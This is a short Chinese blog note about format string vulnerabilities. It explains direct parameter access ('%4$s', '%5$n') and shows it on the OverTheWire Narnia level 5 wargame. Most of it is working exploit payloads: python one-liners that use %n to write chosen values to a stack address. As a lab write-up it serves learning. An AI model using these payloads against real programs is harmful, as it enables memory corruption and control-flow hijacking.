问题出现在我的上一篇 格式化字符串漏洞 果然出来混一定要还的,
上次遗留下来的问题 http://www.cnblogs.com/Bgod/p/6920031.html 中的 “1.5.3 利用直接参数访问来简化处理”
一直不明白 “ #$格式控制” “%4\$s” 是什么意思
我们可以通过直接参数访问技术从栈上访问第四个参数,方法是使用 #$格式控制指示:
./fmttest `printf "\xfa\xff\xff\xbf"`"%08x %4\$s"
?ffff8bb t
Canary at 0x0804a028 = 0x00000000
上例的 “%4\$s” 即是直接参数访问技术的应用, 其中的'\'是跳脱符号,避免SHELL将$解释。通过这个技术,大大方便了我们对参数的访问。
在 OVERTHEWIRE – NARNIA – LEVEL 5 中进行测试
python -c 'print "\x3c\xd7\xff\xff.%394x.%5\$n"'
python -c 'print "\x3c\xd7\xff\xff%x%x%x%372u%n"'
python -c 'print "\x3c\xd7\xff\xff%372u%5\$n"'
上面三句话都可以改写 0xffffd73c 内存的值 为 ’400‘
python -c 'print "\x3c\xd7\xff\xff%5\$n"'
这一条可以改写 0xffffd73c 内存的值 为‘4’
总结: %5$n 相当于 直接访问第5个地址,在第5个地址处执行%n, ‘/’ 是防止杯shell解析
$(python -c 'print("\x4c\xd7\xff\xff%5$n")')
$(python -c 'print("\x4c\xd7\xff\xff%100d%5$n")')
$(python -c 'print("\x4c\xd7\xff\xff%100x%x%x%x%n")')
$(python -c 'print("\x3c\xd7\xff\xff%x%x%x%x%n")')